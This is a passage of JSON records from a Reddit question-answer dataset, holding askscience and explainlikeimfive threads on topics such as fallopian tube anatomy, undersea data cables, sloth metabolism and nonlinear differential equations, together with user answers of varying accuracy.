already knows they're doing something wrong, and passively letting them know you also know they're doing something wrong is better for both of you than openly mentioning it.\n\nIt's also sometimes a horrible manipulative thing to do, of course. But nothing in life is black and white."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "qaso2", "title": "What is the evolutionary benefit for a gap between the infundibulum of the Fallopian tube and the ovary itself?", "selftext": "I was talking with some colleagues today about female reproductive anatomy and I could not think of any reason there should be a gap between these two structures.\n\nMaybe it has to do with embryological development, but if that is so, wouldn't we have evolved to remove this \"shortcoming\"? Usually any defect in the process of egg moving from ovary to Fallopian tube is fatal (to the embryo and mom). So you would think that this would be strongly selected against...\n\nYour thoughts?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qaso2/what_is_the_evolutionary_benefit_for_a_gap/", "answers": {"a_id": ["c3w546b", "c3w5bjt", "c3w5x63", "c3w6pl8", "c3w6xyj", "c3w7cxl", "c3w8j76"], "score": [14, 2, 3, 4, 7, 2, 2], "text": ["While I can't comment on that structure specifically, Evolution doesn't necessarily lead to the overall best outcome, just what is locally more competitive (eg, 3 hands might be better, but since we have two, two with fingers is better). This gap might not serve any purpose but could be a hang over from a pathway to a current facet of evolution. If you wanted to do some research on this particular one, I might suggest comparing it reproductive tracks of quad-petal animals or different bi-pedal animals and trying to spot something that might make sense there", "[Terrible source](_URL_0_), but maybe someone can elaborate?", "What's the failure rate of the current design?", "This is merely my informed speculation, but seems sensible to me.\n\nThere is no evolutionary benefit. Not all structures have an evolutionary benefit, some in fact have clear evolutionary detriment, but are retained none the less. The reason for this is the low probability of mutations that alter this structure to a new, more positive one, and/or the low selective pressure on a structure.\n\nIn the example of ovary/fallopian tubes, it is very hard to speculate on the evolutionary difficulty preventing correction of this, but it is entirely possible that any single mutations moving towards fixing this problem might be strongly negative, so a set of mutations would have to happen together to fix this. This makes the chance of it happening very low.\n\nSecondly the evolutionary selection on this is actually very weak. Certainly it causes death when there is a intra-abdominal ectopic (without modern medicine), but the rate of *intra-abdominal* ectopics is very low. Ectopics in the fallopian tube obviously have already over come this gap problem.\n\nEdit: Actually after looking it up apparently most intra-abdominal ectopics are due to tubal rupture and re-implantation in the abdomen rather than a wayward egg, which means the selective pressure on this structure would be even lower. [[1]](_URL_0_)", "[This video](_URL_0_) shows fairly well how the infundibulum acts as a sort of \"gate keeper\" for the ovum. It moves closer in response to chemical signals from the follicle, then aids the ovum in moving into and down the Fallopian tube.\n\nBecause this process requires signalling from the follicle itself, this suggests to me that Wazwaz is right. The gap helps \"weed out\" defective eggs, because a damaged or mutant egg might have trouble releasing signal molecules, and would consequently remain far away from the Fallopian tubes. ", "It's due to embryological development.  The ovaries (and testes) develop high in the abdomen, then migrate down to meet up with the uterus (or scrotum).  ", "According to my embryology professor, the gap is due to the development of the uterus happening separately from the ovaries. The frequency of ectopic pregnancies is relatively low so there was never a situation where all the animals with gaps died. The infundibulum just developed closer and closer until it reached a high enough success ratio."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://wiki.answers.com/Q/Why_aren%27t_the_fallopian_tubes_permanantly_connected_to_the_ovaries"], [], ["http://radiopaedia.org/articles/abdominal-ectopic-pregnancy"], ["http://www.youtube.com/watch?v=wcVC3TFI7fQ"], [], []]}
{"q_id": "9ohns5", "title": "Do Everest climbers carry water, if so how do they stop it freezing?", "selftext": "Maybe they take vodka?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9ohns5/do_everest_climbers_carry_water_if_so_how_do_they/", "answers": {"a_id": ["e7uqtgu", "e7us4gp"], "score": [5, 50], "text": ["I don't know about Everest but I do know on Mt. Rainier (also glaciated) you take water when you leave camp each day.  It stays warm because your pack is warm because you are warm.  There's a temperature gradient, but a ~100 F body pressed against a pack will keep it warm enough, water included, to stay above freezing.  If you need to replenish water you can melt snow or even just leave it in a bottle in your pack and body heat will melt it for you over a few hours.", "First, they only carry as much water as they will need to make it to their next camp. More water is acquired by melting snow with stoves at each camp, so it's not like they are carrying the same water for days on end. Secondly, water bottles are typically kept inside the jacket closer to the body, where temperatures are above freezing, and typically the bottles themselves are insulated. Even if the bottles are exposed to extreme temperatures, water has a very high heat capacity and it requires losing quite a lot of energy to actually freeze.\n\nFun trivia/useful trick: An effective but counter-intuitive way to keep water from freezing overnight is to bury it in snow. Snow, particularly un-compacted snow, is actually a pretty good insulator because there is so much empty space between grains. It also tends to have relatively poor surface contact with the water bottle, so heat loss through conduction is much lower than you would expect. Because the water bottle is buried, it is protected from both convective and radiation heat loss. A water bottle left out sitting on an insulating surface will easily freeze overnight, while a buried bottle will stay liquid for quite some time!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3pe43w", "title": "can you listen to the radio using garden weeds and a high powered radio antenna? and how?", "selftext": "Reason for question - _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3pe43w/eli5can_you_listen_to_the_radio_using_garden/", "answers": {"a_id": ["cw5n2qa"], "score": [3], "text": ["An analog signal is basically sound vibrations converted into electromagnetic frequencies. The frequencies are picked up by antennas and converted back into vibrations by speakers.\n\nBut a high powered frequency can cause objects to resonate and produce the same sound vibrations, for example the WLW once broadcast with enough power that you could hear it in your pots, pans, and even the [springs in your mattress.](_URL_0_)\n\nSo yes, it's possible to hear radio signals if you have anything that can pick up the signal and resonate with it enough to produce sound. And that includes plants, apparently."]}, "title_urls": [], "selftext_urls": ["http://youtu.be/gLLtw2usoww"], "answers_urls": [["http://radioworks.co.uk/latest-radio-news/blog-a-radio-transmitter-that-was-so-powerful-people-heard-it-in-mattress-coils-and-other-remarkable-radio-facts/"]]}
{"q_id": "2ka4kj", "title": "why do i feel so exhausted whenever i go shopping? i'm a guy and my girlfriend seems to not get nearly as tired as i do when we shop together.", "selftext": "I feel like I have run a marathon after shopping (even by myself for my own needs) but some people seem to be able to shop around stores all day long. Why do I get so exhausted in a relatively short period of time when the act itself isn't physically draining or tiresome?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ka4kj/eli5_why_do_i_feel_so_exhausted_whenever_i_go/", "answers": {"a_id": ["cljbl79", "cljbmx6", "cljbqr8", "cljcnoo", "cljdvzo", "cljf4ef", "cljf5zw", "cljg8k1"], "score": [14, 35, 12, 14, 2, 10, 9, 2], "text": ["Hard to say. You could be in bad shape, not eating enough calories to maintain energy, having blood sugar issues caused by the exercise or not eating regularly while shopping, just really really bored by shopping, or any number of other things.", "Are you tense when you are out shopping? Sometimes physical tension we're barely aware of can be really draining.", "There are things that give you energy, and there are things that drain you of energy. These vary by person.\n\nSome people gain energy at parties, and can go till morning. Other feel it as a drain (mostly those spending the entire time wondering if everybody else is happy).\n\nMaybe shopping doesn't interest you. Maybe you'd prefer to be shopping for a new tablet of phone or something else that interests you. Or perhaps you're distracted spending the whole time thinking about your next World Of Warcraft campaign (or whatever it's called).\n\nHalf the trick of life is figuring out the things that give you energy and to try and do more of them.", "A true eli5: you could probably play touch football with your bros for hours, your girlfriend however may (or not) find it just as draining as you do shopping. People have more energy for things they like.", "maybe because you don\u00b4t like doing it?", "TL;DR - Information overload\n\nThere are some interesting answers here that don't seem to address an important point of shopping. I would also argue physical fatigue from short periods of shopping are more of a mental affliction.\n\nBeing surrounded by a sea of information in the form of **visual** cues like colours and lighting, **auditory** cues with endless chatter and conversation and **visual** cues such as reading labels and signs is something we deal with at some points in our day. In a large shopping mall however these factors are combined to form a huge clusterfuck of information begging to be taken in and processed.\n\nWith the end goal being to make wise purchases and get out as quick as possible (as someone who isn't always so fond of shopping) this can be a huge task considering most of us would prefer to be sitting quietly at home.\n\nSo in the end, after trying our hardest for sometimes hours of selectively attending to the relevant cues, its no surprise you might feel a little mentally drained. Some people however may be more accustomed to shopping or their ability to ignore irrelevant information greater.", "I think this illustration is quite accurate. I feel the same way you do. \n_URL_0_", "My wife and I call this phenomenon \"getting malled.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://static.fjcdn.com/pictures/Men%2Bvs%2BWomen%2Bin%2BSkyrim%2Band%2Bshopping.%2Bthink%2Bits%2Btrue_95fa17_4220401.jpg"], []]}
{"q_id": "25bq4z", "title": "why don't they have height classes in basketball like they have weight classes in wrestling?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/25bq4z/eli5_why_dont_they_have_height_classes_in/", "answers": {"a_id": ["chfm8ba"], "score": [6], "text": ["basketball is a team sport, the big men aren't the best in every position, usually guards are shorter and more agile, while the big men play forwards and center.  \na team with a few taller players doesn't necessarily have the clear dominant edge that a wrestler with 50 lbs on his opponent would have.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1t7dfb", "title": "why do we say \"t-minus\" when counting down to an event or time?", "selftext": "I'm guessing T=the set time. Is there more to the story?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1t7dfb/eli5_why_do_we_say_tminus_when_counting_down_to/", "answers": {"a_id": ["ce53054", "ce53wiz", "ce59p3p"], "score": [4, 42, 7], "text": ["During earlier rocket launches, back before everyone had a computer on their desk, pertinent data would be called out over a PA.  Time was one of these data items, and negative time meant you were before the launch, and positive meant you were after the launch.\n\nTime is particularly crucial near the launch, so by the time the networks cut in to broadcast, that is all that was going over the PA.  Millions of people heard these announcements, and it became a way to describe any upcoming event.", "The military uses the nomenclature of Y year, D day, H hour, M minute, S second, and T time.  \"D-Day\" was really just one of many D \"days\" of WWII; the day when something important was scheduled to happen.  \n\nT time just means \"the time when something is supposed to happen\".  T minus means \"before that time\", T plus means \"after that time\".\n\nThis nomenclature seeped out of the military and is used in a lot of engineering applications for its clarity and convenience.", "T = 0 is the event.  10 seconds after the event, T = 10.  Ten seconds before the event, T = -10.  Tee equals minus ten.  Tee minus ten."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ls3by", "title": "Marketing people still put  aloe vera in everything, but does it have any actual uses?", "selftext": "From \"natural medicine\" to soaps to health drinks and food, it is everywhere, but are any claims about it actually proven or is it all pseudoscientific nonsense?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ls3by/marketing_people_still_put_aloe_vera_in/", "answers": {"a_id": ["c2v5hh9", "c2vb9v5", "c2v5hh9", "c2vb9v5"], "score": [2, 2, 2, 2], "text": ["There's a large swathe of scientific literature regarding Aloe Vera (do a google scholar search for it - you can read the abstracts).  IAMNOTA medical scientist, but a perusal of those results suggests it's an effective anti-inflammatory, and also good for a number of skin complaints including psoriasis.", "It's also an effetive mummifying agent, although this usage is less popular than it was.", "There's a large swathe of scientific literature regarding Aloe Vera (do a google scholar search for it - you can read the abstracts).  IAMNOTA medical scientist, but a perusal of those results suggests it's an effective anti-inflammatory, and also good for a number of skin complaints including psoriasis.", "It's also an effetive mummifying agent, although this usage is less popular than it was."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "b8isy3", "title": "how the data transits online from usa to eu (for example)", "selftext": "I'm familiar with the principle of bits to convey data (with copper cables first then optical fibers), and I know 99% of international traffic comes from cables in the ocean but I would like to know how everything turns out to work when, say you send an e-mail from London to New-York, how can the ridiculous amount of data in the world transit through a few cables?\nHope it's not too complex to be explained.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b8isy3/eli5_how_the_data_transits_online_from_usa_to_eu/", "answers": {"a_id": ["ejy2iry", "ejy52sq", "ejy76vo", "ejy7ulo", "ejyhzr1", "ejymrpx", "ejyukov"], "score": [2, 15, 4, 13, 3, 2, 3], "text": ["Cables are not small.  They're massive in diameter consisting of hundreds of fiber optic lines in each, wrapped in protective layers.\n\nAnd there's multiple cable paths that cross the oceans.", "There are routers. Routers are made to connect to each other and to your regular everyday computers. They keep a list of who they are directly connected to.\n\nSo when you send a message, it gets split into little chunks, goes to your local router, who then passes it to the next router, who does the same, until it gets to the destination.\n\nThere is a pathfinding algorithm that finds the best route for each little chunk to take. They each have an id so that the pieces can be put back together in the right order. Each chunk is put in a special packet so that routers can tell where and how to deliver it.\n\nThey don't all take the same path to the destination. So one chunk could take the undersea cable, another through satellite, and another going through cables to Africa, then to Europe. \n\nAs others have said, there are a lot of cables and they can carry a lot of data, and relatively speaking an email is not a lot of data.", "Good question!\n\n1. There are multiple lines between the USA and Europe.\n2. Each line has hundreds of fiber optic cables.\n3. Each cable has multiple data lanes using different colored light.\n4. Each data lane transmits millions of bits per second.\n\nDesigning an internet backbone is a serious engineering task. People devote their entire careers to it.", "The undersea cables can carry an incredible amount of data!\r\n\r\nFASTER, deployed around 2016, runs from Oregon USA to Japan.   Alone, it can carry 60TB/s of bandwidth.     If you happen to have gigabit fiber from your ISP, which is about the fastest residential service commonly possible, this cable is 60,000x faster than that. \r\n\r\nMAREA, deployed around 2018, runs from Virginia to Spain, can carry 160TB/s.\r\n\r\nThere are many cables, and more being are deployed every year.\r\n\r\n", "Did you ever play with flashlights with your neighbor/friend, where you sent each other secret messages in Morse code, by turning the flashlights on and off?\n\nNow, instead of being next door, you and you friend are sitting at opposite ends of a single strand of fiber optic cable, one in London, the other in NYC. You guys have been messaging each other for so many years, you got so good at it, that now you can message each other 10,000 times faster than your average home internet connection.\n\nRight, now imagine the colors in the rainbow, and all the colors in between (actually imagine more like 100 different colors), and imagine there are flashlights for each color, and 100 pairs of friends, each sitting at the end of a single strand of fiber, everyone just as good and fast as you and your buddy at sending secret messages. And everyone is doing this at the same time.\n\nNow imagine 6 times this: ie. 6 strands of fiber, or 600 pairs of friends messaging each other at 10,000 times faster than you home internet connection.\n\nThat's your email gets sent from one side of the Atlantic to another...\n\n\nEdit: the above is mean to describe how fiber optic subsea cables work. If you want an intro to how routing works, go watch this video:\n_URL_0_\n\n\n\n\n\n", "The cables that transit under the oceans (and there are a lot of them) are extremely high capacity. Hundreds of gigabits to terabits per second.\n\nHere is a site tat shows all the cables. You can zoom in on one, select it, and in some cases see the throughput it's capable of.\n\n_URL_0_", "Hey - I am *actually working* on the MAREA undersea fiber optic cable. It is capable of carrying much more than the 80 Tb being discussed here. The cable has 8 fiber pairs (one of each pair transmits east, and the other west). Each pair was originally expected to carry 20 Tb for a total of 160 Tb. With recent improvements in technology each fiber pair can carry ~24 Tb, a 20% increase!\n\nI work on the technology, so if you have any ELI  > 5 I would be glad to try to answer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://youtu.be/Cb8b1RMX6XY"], ["https://www.submarinecablemap.com/"], []]}
{"q_id": "o4iu6", "title": "Can I construct an amateur radio observatory?", "selftext": "I run the SETI software but am interested in generating my own signals for listening/analysis. Is it possible to construct an amateur radio observatory? For example, using spare parabolic dishes (DirecTV, etc).\n\nI live in the middle of downtown Chicago, but live on the top floor of a high-rise with direct roof access, if that has any bearing on whether I could get a \"clean\" signal from space.\n\nWhat would I need to think about getting started?\n\n* Materials for antenna\n\n* Radio hardware\n\n* Analog-to-digital signal conversion?\n\n* Software for analysis\n\nIs this feasible? Thank you in advance.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/o4iu6/can_i_construct_an_amateur_radio_observatory/", "answers": {"a_id": ["c3edhzi", "c3ejqju"], "score": [3, 2], "text": ["You may want to try xposting to /r/amateurradio\n", "Try [this](_URL_0_) to get started in radio astronomy.\n\nIf it was me, I'd look in the optical bands rather than radio.  The SETI group has the radio spectrum pretty well covered.  They collect more data than they can analyze, hence the SETI at home project."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.radio-astronomy.org/node/142"]]}
{"q_id": "eiyvco", "title": "why do chicken pox scars stay forever? and why do so many people only get one chicken pox scar?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/eiyvco/eli5_why_do_chicken_pox_scars_stay_forever_and/", "answers": {"a_id": ["fcubhsd", "fcud8t3", "fcufoaw", "fcug5nl", "fcv76fj"], "score": [32, 12, 7, 15, 2], "text": ["When I had chicken pox, there was one particular bump that itched more than the others. I scratched it more, and also picked at it when it started to heal, so that's why I have the one scar there. I assume this is similar to most people.", "Same reason why other types of scars are permanent. Your skin is made up of dead cells which were once living and dividing deep under the surface. Scars happen when that living, dividing layer is damaged (Say with a chickenpox infection). Since the cells are no longer around to divide, they die off and are gone forever. The region that used to be dead skin cells is filled with fibrous connective tissue ie scars.", "I can\u2019t say I got any chickenpox scars, and I remember scratching them like mad even though I was told not to", "You guys only have ONE?!", "Yo seriously I got 1 scar on my wrist no where else on my body and I had them really bad!! I thought it was just me!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "5xmoq1", "title": "why can't you use suction to clean dust out of computer vents but compressed air cans are ok?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5xmoq1/eli5_why_cant_you_use_suction_to_clean_dust_out/", "answers": {"a_id": ["dejb2ga", "dejboqs"], "score": [64, 13], "text": ["It is a myth. Air flowing past electronics does not create enough static electricity to damage anything. The fans in the PC would be unsafe if that was true. The vacuum cleaner is more powerful, but is not ducted like the fans are. The only caution is to not cause the fans to run backwards and not to overspeed them because they can be damaged. I've been cleaning very expensive broadcast video equipment and PCs for 30 years with various vacuums. Some of this stuff costs over $100,000 and the manufacturers recommend vacuuming. ", "Another thing is that the average compressed air can is about 10 Bar whereas atmospheric pressure is 1 Bar.\n\nThat means that even with a total vacuum the biggest pressure differential you can get is 1 Bar, vs 9 Bar with the can.\n\nMore pressure = more dust moving ability."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bdtnuv", "title": "why will the rebuilding of the notre dame cost millions of dollars?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bdtnuv/eli5_why_will_the_rebuilding_of_the_notre_dame/", "answers": {"a_id": ["el0l88j", "el0l8bj", "el0lep8", "el0mbto"], "score": [5, 3, 3, 2], "text": ["It took over 200 years to build back then. Now, we are talking rebuilding it within a handful of years. Maybe a decade. At least that\u2019s what we hope. I\u2019d imagine fixing any faulty structural elements that have worn away over time is much harder than doing it the first time from scratch, too. Thus costing more.", "Well the renovations before the fire were gonna cost around 170 million anyway, so adding more work to that will put the cost up drastically. However I\u2019m not sure how much it would have cost to build it 800 years ago", "You could probably write a significant essay on this, for example - how accurately do they want to re-create the original construction, or build modern with period facade ... etc...\n\nAs for cost, I am certainly no expert but I would think almost about the same.   Keep in mind it was a VERY different world then, for example a significant part of the labor could have been slaves, children and very low cost ( but not necessarily low skill) Labor - so how do you account for the cost of that.    A good stone mason, may have been one of the higher paid laborers then - but today, they barely exist.... so to make it \"identical\" would get very expensive.", "Tracing inflation and labor rates back to 1180 is pretty tricky, feudal Europe's monetary systems were pretty dicey and laborers weren't necessarily paid in currency.  It's probably safe to say that a colossal cathedral that was built over the span of 200 years to dominate the skyline probably did cost the middle-age equivalent of many millions of dollars.\n\nFar less architecturally elaborate stadiums cost *billions* today, so a rebuilding cost of 300+ Million isn't unreasonable."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "80s7qu", "title": "Why do Sloths move so lethargically?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/80s7qu/why_do_sloths_move_so_lethargically/", "answers": {"a_id": ["duy4qxg", "duydly4", "duyf6sg", "duyqke1"], "score": [1108, 23, 4, 2], "text": ["Sloths move so slowly for one main reason. It's efficient. Natural Selection doesn't select for the fastest and strongest, but the one that is most suited for their environment. The key to sloths survival is that they use their calories extremely efficiently. They have a slow metabolism, and have evolved to have a lower body temperature than other mammals. They found a weird niche to fill, and it's a winning strategy.\n\nSloths eat leaves, which are inherently low in calories. If I remember correctly, it takes multiple weeks, if not over a month for the sloths to digest the leaves they eat.\n\nSloths largest threat is habitat loss. Other predators do sometimes eat sloths, but the trees are fairly safe for them to hide and thrive in.\n\nSloths actually have tons of insects and algae that actually live in the sloths fur. A sloth is it's own ecosystem.\n\nSurprise fact. Sloths can swim.", "Survival of the fittest doesn\u2019t mean the strongest life forms \u2018win\u2019. It means the most suitable lifeforms reproduce. The obvious \u2018winning\u2019 animals are the ones that are strong and fast enough to stave off their predators or catch their prey and thrive.\n\nBut there are many strategies for success. Some species produce so many young that the majority of them can die and the species still thrives. Some species evolve to be able to eat and digest almost anything and thus survive in niches where they have almost no competition.\n\nMany species try to reduce risk. For instance by being camouflaged so predators don\u2019t spot them. Living in social groups so there are more eyes, ears and noses to watch out for predators. Many predators hunt from ambush to reduce the risk of injury and most only hunt when hungry because it makes little sense to risk your life picking a fight if you\u2019re not hungry.\n\nSloth\u2019s have a strategy that revolves around efficiency. They spend much of their time asleep, well camouflaged in hard to reach tree tops. Every time a herbivore leaves their nest or hiding spot to go find a meal, they risk attracting the attention of a predator. Sloths minimize their energy needs and thus minimize the risk they need to take risks in foraging for food.\n\n* They need very little energy, thus very few risky foraging trips\n* They\u2019re very well camouflaged to the point where a whole ecosystem of molds and mosses grows in their fur\n* They stay small and light enough that they can hang around the treetops where the branches are so thin, most predators can\u2019t even get to them\n* They\u2019re not just energy efficient, they\u2019re also waste efficient. They excrete little and infrequently\n* Predators are motion activated, ie. motion attracts their attention and they\u2019ll have a hard time spotting still prey (it\u2019s actually fight, flight or freeze, where freeze is the most common response for animals). You\u2019re going to have a hard time spotting a sloth if you rely on motion", "Would suggest listening to this as it answers the questions asked in the thread:\n\n_URL_0_\n\n\nSorry for posting it twice but figured folks might not see it buried in my earlier response.  Addresses the why and how of sloths including diet, digestion, and metabolism.\n\nEdited for typos", "Yes. Deliberately in that case, they were introduced to boost the sport fishing industry. But similar examples could easily happen naturally as a result of geological events for example. An earthquake diverts a river, introduces a fish to a lake it had not previously occurred in. A cold snap creates a temporary land bridge between previously isolated habitats. We know this can happen, we know it has happened, but it unfortunately doesn't leave a lot of evidence of the whole process. When humans do it, it tends to be documented which makes the science a lot easier and more definitive. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.bbc.co.uk/programmes/b09jvhgp"], []]}
{"q_id": "10xkei", "title": "If there was another world war, would we see a huge increase in technological development? ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10xkei/if_there_was_another_world_war_would_we_see_a/", "answers": {"a_id": ["c6hi4v9", "c6hid09", "c6hif5b", "c6hif7t"], "score": [8, 3, 8, 2], "text": ["I think so, but followed by a sharp sharp decline in the amount of people alive to use the new technology..", "(I think /r/AskReddit would be a better subreddit for this) \nIMO, yes, more technology, but for the wrong reasons. Technology was supposed to help us with our lives, not kill us. ", "It is to be expected that a war between equally developed nations brings a huge jump to the tech development, since a huge amount of money is used both to develope new defense and offense, since the technology already present is shared by both/all combatants.\n\nMuch of it often can be used for peaceful purposes too, like a source of power, stronger building material etc.\n\nBut as soulBit already said, it is to be expected that a third world war is going to be fatal for all/most living things in the world.\n\nLike Einstin said\n\n > World War 4 will be fought with sticks and stones\n\nSo the question would be, if there is eniugh infrastructure left to erally make use of the new findings.", "Surely it depends how far things go? If enough nukes fly then we'd see a massive leap forward in the newly relevant technologies of pointy sticks and sticks with rocks tied to them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2fgv1n", "title": "what is the purpose of family only hospital visitations?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2fgv1n/eli5what_is_the_purpose_of_family_only_hospital/", "answers": {"a_id": ["ck92bf0", "ck97ji9"], "score": [4, 3], "text": ["Visitations take energy for someone who is hospitalized.  The hospital's job is to get the person well again.\n", "Blueskies21 makes a good point, but from a practical point of view, there's a *lot* of people who are in a hospital who need to be there for one reason or another. Now, you can't just say \"no visitors, ever\" because that's important for the emotional support, but at the same time you don't want the whole local community flooding the room and hallways, ultimately interrupting or impeding the going-ons. Family is a natural, reasonable demarcation for who should be allowed access to the patient."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1u0ese", "title": "are teleporting and time traveling the same?", "selftext": "I just had an hour long argument about this with my friend... Can someone give us an answer?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1u0ese/eli5_are_teleporting_and_time_traveling_the_same/", "answers": {"a_id": ["cedai8j", "cedaker", "cedbp50", "cedbqxx"], "score": [2, 6, 3, 2], "text": ["No, not really.\n\nEven if you are sitting perfectly still in your chair (relatively speaking), then you are still travelling through time *right now*. Of course, it's in a forward-linear fashion at the usual rate of 1-second-per-second, and so we tend to discount this completely. But it *is* time travel in a very real sense.\n\nThe thing is: 'time travel' is a hugely ambiguous term, and so no wonder you and your friend are having an argument. You probably haven't agreed on the same definition beforehand.", "Teleporting is about changing the where rather than the when, so you would move location from a to b and the time would remain the same.\n\nTime travel is about changing the when rather than the where, so you would change time but remain in the same place.", "The two are related, but not identical. \n\nTeleportation involves making a \"space-like\" jump in spacetime, meaning two events occur at two locations separated far enough apart that nothing, not even a photon can travel from the beginning to the end of the teleporter's journey. Space-like jumps can involve going forward, backward, or neither in time, depending on the observer. There is no definite ordering of events with teleportation; depending on who is doing the looking, a teleporter can also be a time-traveler. \n\nTime travel involves making a \"time-like\" jump in spacetime. Events are ordered, meaning that cause always precedes effect (except, possibly, by the time-traveler, who could be going to his own past in a \"closed, time-like loop\"). Because time-like events all come in a specific order, breaking this ordering tends to break a lot of physics. E.g., the Second Law of Thermodynamics breaks down. Because of this, many believe that the laws of physics will prevent such closed, time-like loops from occurring. ", "The true answer is not really known. some scientists would agree that time travel is different to teleportation and some would disagree and they would both be right.\n\nTo explain like your a five year old is is gonna be hard, but ill try anyway.\n\nMy approach is coming from a string theory background.\n\nwe live in a 3 dimensional world, we are always traveling forward in this world on the scale of time, which is the fourth dimensional world.\n\nimagine an infinitely large map where north and south are directions of time, and where east and west are directions of distance.\n\nOn this map we as humans are always traveling north forward in time but me may choose to travel west or east at any time we choose, which is moving distance, technically moving in any direction on this map is a both moving in time and distance in one, because at no given time are we at the same place on the map that we have been before, we would always more north of where we have been before now\n\nand via this method of understanding the world of time travel and distance, we can say that time travel and teleportation are the same,  but in different directions on the map.\n\ntechnically I'm time traveling forward in time right now, and so is everyone else, and technically when i walk to the fridge, I'm teleporting through the axis of time and distance on my map to get there.\n\nSo both people would be right and wrong depending on your understanding of time travel, \n\nI hope this helps\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5ay0tl", "title": "Why is non-linearity such an obstacle in solving differential equations?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5ay0tl/why_is_nonlinearity_such_an_obstacle_in_solving/", "answers": {"a_id": ["d9klzdb", "d9l3pqv"], "score": [30, 4], "text": ["I'd say it's less that non-linearity is an obstacle and more that linearity is so magical that it helps us solve differential equations easily. \n\nOne way you can view most of math is that we've found out that Linear Algebra is perfect and amazing, really easy and extra helpful in solving things, and so we always try to maneuver our problems in such a way that we get the opportunity to use Linear Algebra to solve it. This happens all over the place, and many modern theories in math are extensions of Linear Algebra or sophisticated constructions designed to let us use Linear Algebra (or some of these extensions) to solve our problems. \n\nFor Differential Equations in particular, we know that the derivatives are linear operations which suggests that a Linear Algebra framework for them would be useful. And since Linear Algebra is so perfect, we find that it allows us to solve Differential Equations really easily, as long as we can formulate as some kind of equation on some vector space. Then the game becomes trying to create vector spaces that are very generous about differential equations, but are still practical. This is a big game played in the field of [Functional Analysis](_URL_1_), and you can come up with a whole bunch of spaces like [Lp-Spaces](_URL_0_), which are spaces where some notion of integration is well-behaved, and [Sobolev Spaces](_URL_3_), which extend the notion of what a \"Derivative\" means to capture more functions and possible solutions (though, they live inside Lp-spaces), then there are [Generalized Functions](_URL_6_) which work with things that aren't functions (like the Dirac delta \"function\") to solve Differential Equations, [Schwartz Spaces](_URL_4_), which are where Fourier Transforms behave particularly well, and many others. We particularly like function spaces that are [Hilbert Spaces](_URL_2_), because this is where notions like \"orthogonality\" and the [Spectral Theorem](_URL_5_) (which is what makes eigenvalue problems particularly fruitful) make sense .\n\nOne particularly magical thing that these linear methods help us do is restrict the number of solutions. We can figure out how big the solution space is and then find enough solutions to fit this space, and we'll be done. This works well because the solution spaces are linear and so linear combinations of solutions are also solutions and these help us generate all solutions. There's no guarantee that we can combine solutions in non-linear systems.\n\nThis approach has produced a lot of very important results and cool ideas, but many important differential equations cannot be solved precisely using linear methods, and we either have to use numerical methods  to approximate solutions or get really creative. There's linear differential equations and then there's differential equations that actually model things.", "/u/functor7 is a bigger expert than little old me, but let me try to minimize the jargon a little bit:\n\nTo my mind, the biggest advantage of linear systems is that the sum or linear combination of two solutions is also a solution.  That means that if I come up with a trick to find a few simple solutions, I can add and multiply them to build lots of more complicated solutions, hopefully including one that satisfies the problem's boundary conditions.\n\nFor a nonlinear problem, though, you can't build new solutions out of old ones: you've got to both satisfy the DE and the boundary conditions in one go, with nothing to build up from.\n\nIt's a bit like the difference between building a house out of pre-fabricated bricks, vs sculpting one from a solid block of marble."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Lp_space", "https://en.wikipedia.org/wiki/Functional_analysis", "https://en.wikipedia.org/wiki/Hilbert_space", "https://en.wikipedia.org/wiki/Sobolev_space", "https://en.wikipedia.org/wiki/Schwartz_space", "https://en.wikipedia.org/wiki/Spectral_theorem", 